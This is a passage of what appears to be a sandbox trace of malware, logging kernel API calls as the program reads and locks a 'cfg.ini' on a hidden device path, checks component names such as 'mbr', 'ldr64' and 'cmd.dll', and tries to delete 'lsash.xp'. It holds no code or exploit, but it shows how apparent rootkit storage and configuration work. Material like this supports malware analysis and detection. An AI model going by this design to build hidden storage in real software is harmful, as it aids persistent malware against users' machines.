_Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.989] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.989] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7fb0 [0126.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.989] KeLeaveCriticalRegion () [0126.989] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.989] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.990] KeEnterCriticalRegion () [0126.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.990] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.990] KeLeaveCriticalRegion () [0126.990] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.990] KeEnterCriticalRegion () [0126.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.990] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.990] IdePortDispatch () returned 0x103 [0126.990] KeWaitForMutexObject () returned 0x0 [0126.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.990] KeLeaveCriticalRegion () [0126.990] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.990] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.990] KeEnterCriticalRegion () [0126.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b48000 [0126.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.991] IdePortDispatch () returned 0x103 [0126.991] KeWaitForMutexObject () returned 0x0 [0126.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.991] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.991] IdePortDispatch () returned 0x103 [0126.992] KeWaitForMutexObject () returned 0x0 [0126.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.992] KeLeaveCriticalRegion () [0126.992] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.992] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.992] KeEnterCriticalRegion () [0126.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.992] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.992] KeLeaveCriticalRegion () [0126.992] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.992] KeEnterCriticalRegion () [0126.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.992] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.993] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.993] KeLeaveCriticalRegion () [0126.993] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.993] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.993] KeEnterCriticalRegion () [0126.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.993] ExFreePoolWithTag (P=0xfffffa800c4f7fb0, Tag=0x0) [0126.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.993] KeLeaveCriticalRegion () [0126.993] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.993] ReleaseMutex (hMutex=0xf0) returned 1 [0126.993] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.993] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.993] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.993] KeEnterCriticalRegion () [0126.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.993] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.994] IdePortDispatch () returned 0x103 [0126.994] KeWaitForMutexObject () returned 0x0 [0126.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.994] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.994] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.994] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.994] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.994] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da590 [0126.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.994] KeLeaveCriticalRegion () [0126.994] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.994] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.994] KeEnterCriticalRegion () [0126.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.994] KeLeaveCriticalRegion () [0126.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.994] KeEnterCriticalRegion () [0126.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.994] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.994] IdePortDispatch () returned 0x103 [0126.995] KeWaitForMutexObject () returned 0x0 [0126.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.995] KeLeaveCriticalRegion () [0126.995] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.995] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.995] KeEnterCriticalRegion () [0126.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b49000 [0126.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.995] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.995] IdePortDispatch () returned 0x103 [0126.995] KeWaitForMutexObject () returned 0x0 [0126.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.996] IdePortDispatch () returned 0x103 [0126.996] KeWaitForMutexObject () returned 0x0 [0126.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.996] KeLeaveCriticalRegion () [0126.996] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.997] KeEnterCriticalRegion () [0126.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] KeLeaveCriticalRegion () [0126.997] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.997] KeEnterCriticalRegion () [0126.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.997] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] KeLeaveCriticalRegion () [0126.997] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.997] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.997] KeEnterCriticalRegion () [0126.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] ExFreePoolWithTag (P=0xfffffa80037da590, Tag=0x0) [0126.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] KeLeaveCriticalRegion () [0126.997] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.997] ReleaseMutex (hMutex=0xf0) returned 1 [0126.997] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.997] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.997] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.997] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.997] KeEnterCriticalRegion () [0126.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.998] IdePortDispatch () returned 0x103 [0126.998] KeWaitForMutexObject () returned 0x0 [0126.998] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.998] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.998] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.998] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.998] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.998] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.998] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.998] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.998] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.998] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.998] KeLeaveCriticalRegion () [0126.998] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.998] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.998] KeEnterCriticalRegion () [0126.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.999] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.999] IdePortDispatch () returned 0x103 [0126.999] KeWaitForMutexObject () returned 0x0 [0126.999] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.999] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.999] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.999] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.999] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.999] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.999] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.999] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.999] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.999] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.999] KeLeaveCriticalRegion () [0126.999] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.999] ReleaseMutex (hMutex=0x100) returned 1 [0126.999] Sleep (dwMilliseconds=0x2bf20) [0127.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ee71310, dwHighDateTime=0x1d24fa4)) [0127.008] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.008] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.008] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.008] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.008] KeEnterCriticalRegion () [0127.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.008] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.008] IdePortDispatch () returned 0x103 [0127.008] KeWaitForMutexObject () returned 0x0 [0127.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da590 [0127.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.009] KeLeaveCriticalRegion () [0127.009] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.009] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.009] KeEnterCriticalRegion () [0127.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.009] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.009] KeLeaveCriticalRegion () [0127.009] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.009] KeEnterCriticalRegion () [0127.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.009] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.009] IdePortDispatch () returned 0x103 [0127.009] KeWaitForMutexObject () returned 0x0 [0127.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.009] KeLeaveCriticalRegion () [0127.009] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.010] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.010] KeEnterCriticalRegion () [0127.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4c000 [0127.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.010] IdePortDispatch () returned 0x103 [0127.010] KeWaitForMutexObject () returned 0x0 [0127.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.010] IdePortDispatch () returned 0x103 [0127.011] KeWaitForMutexObject () returned 0x0 [0127.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.011] KeLeaveCriticalRegion () [0127.011] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.011] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.011] KeEnterCriticalRegion () [0127.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.011] FsRtlProcessFileLock 